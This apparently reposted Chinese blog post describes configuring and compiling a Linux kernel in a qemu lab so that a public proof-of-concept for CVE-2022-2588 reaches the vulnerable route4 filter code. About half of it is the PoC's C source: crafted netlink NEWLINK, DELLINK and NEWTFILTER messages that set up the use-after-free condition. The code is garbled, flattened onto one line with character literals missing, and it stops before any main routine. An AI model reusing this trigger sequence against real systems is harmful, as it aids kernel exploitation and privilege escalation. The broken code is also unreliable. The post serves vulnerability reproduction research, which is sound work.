[kernel] 编译能复现指定poc的内核的排错过程
作者:互联网
背景
在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。
目标
前置知识
内核与内核模块
内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中。
内核的编译选项
内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。
CONFIG_NET_CLS_ROUTE4=m 或 CONFIG_NET_CLS_ROUTE4=y
所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。
可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:
- 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。
过程
这里不对漏洞做过多分析,主要阐述编译过程
基本信息
使用的poc如下:
https://github.com/sang-chu/CVE-2022-2588
原本poc代码(经过我略微修改,本次调试使用):
#define _GNU_SOURCE #include <sched.h> #include <sys/socket.h> #include <linux/netlink.h> #include <unistd.h> #include <stdio.h> #include <sys/wait.h> #include <stdlib.h> #include <string.h> #include <linux/pkt_sched.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <stdlib.h> void hexdump(const void *data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = ; for (i = 0; i < size; ++i) { dprintf(2, "%02X ", ((unsigned char *)data)[i]); if (((unsigned char *)data)[i] >= && ((unsigned char *)data)[i] <= ~) { ascii[i % 16] = ((unsigned char *)data)[i]; } else { ascii[i % 16] = .; } if ((i + 1) % 8 == 0 || i + 1 == size) { dprintf(2, " "); if ((i + 1) % 16 == 0) { dprintf(2, "| %s ", ascii); } else if (i + 1 == size) { ascii[(i + 1) % 16] = ; if ((i + 1) % 16 <= 8) { dprintf(2, " "); } for (j = (i + 1) % 16; j < 16; ++j) { dprintf(2, " "); } dprintf(2, "| %s ", ascii); } } } } static char newlink[] = { /* len */ 56, 0x00, 0x00, 0x00, /* type = NEWLINK */ 16, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x01, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* ifi_family */ 0x00, 0x00, 0x00, 0x00, /* ifi_ifindex */ 0x30, 0x00, 0x00, 0x00, /* ifi_flags */ 0x00, 0x00, 0x00, 0x00, /* ifi_change */ 0x00, 0x00, 0x00, 0x00, /* nla_len, nla_type */ 0x08, 0x00, 0x03, 0x00, /* string */ e, t, 2, 0, /* nla_len, nla_type */ 16, 0x00, 18, 0x00, /* nested nla_len, nla_type */ 10, 0x00, 0x01, 0x00, d, u, m, m, y, 0x00, 0x00, 0x00, }; static char dellink[] = { /* len */ 40, 0x00, 0x00, 0x00, /* type = DELLINK */ 17, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x01, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* ifi_family */ 0x00, 0x00, 0x00, 0x00, /* ifi_ifindex */ 0x00, 0x00, 0x00, 0x00, /* ifi_flags */ 0x00, 0x00, 0x00, 0x00, /* ifi_change */ 0x00, 0x00, 0x00, 0x00, /* nla_len, nla_type */ 0x08, 0x00, 0x03, 0x00, /* string */ e, t, 2, 0, }; static char tfilter[] = { /* len */ 68, 0x00, 0x00, 0x00, /* type = NEWTFILTER */ 44, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x41, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* tcm_family */ 0x00, 0x00, 0x00, 0x00, /* tcm_ifindex */ 0x30, 0x00, 0x00, 0x00, /* tcm_handle */ 0x00, 0x00, 0x00, 0x00, /* tcm_parent */ 0x00, 0x00, 0x01, 0x00, /* tcm_info = protocol/prio */ 0x01, 0x00, 0x01, 0x00, /* nla_len, nla_type */ 0x0a, 0x00, 0x01, 0x00, /* string */ r, o, u, t, e, 0, 0, 0, /* OPTIONS */ 0x14, 0x00, 0x02, 0x00, /* ROUTE4_TO */ 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, /* ROUTE4_FROM */ 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, }; static char ntfilter[] = { /* len */ 56, 0x00, 0x00, 0x00, /* type = NEWTFILTER */ 44, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ /* 0x200 = NLM_F_EXCL */ 0x41, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* tcm_family */ 0x00, 0x00, 0x00, 0x00, /* tcm_ifindex */ 0x30, 0x00, 0x00, 0x00, /* tcm_handle */ 0x00, 0x00, 0x00, 0x00, /* tcm_parent */ 0x00, 0x00, 0x01, 0x00, /* tcm_info = protocol/prio */ 0x01, 0x00, 0x01, 0x00, /* OPTIONS */ 0x14, 0x00, 0x02, 0x00, /* ROUTE4_TO */ 0x08, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, /* ROUTE4_FROM */ 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, };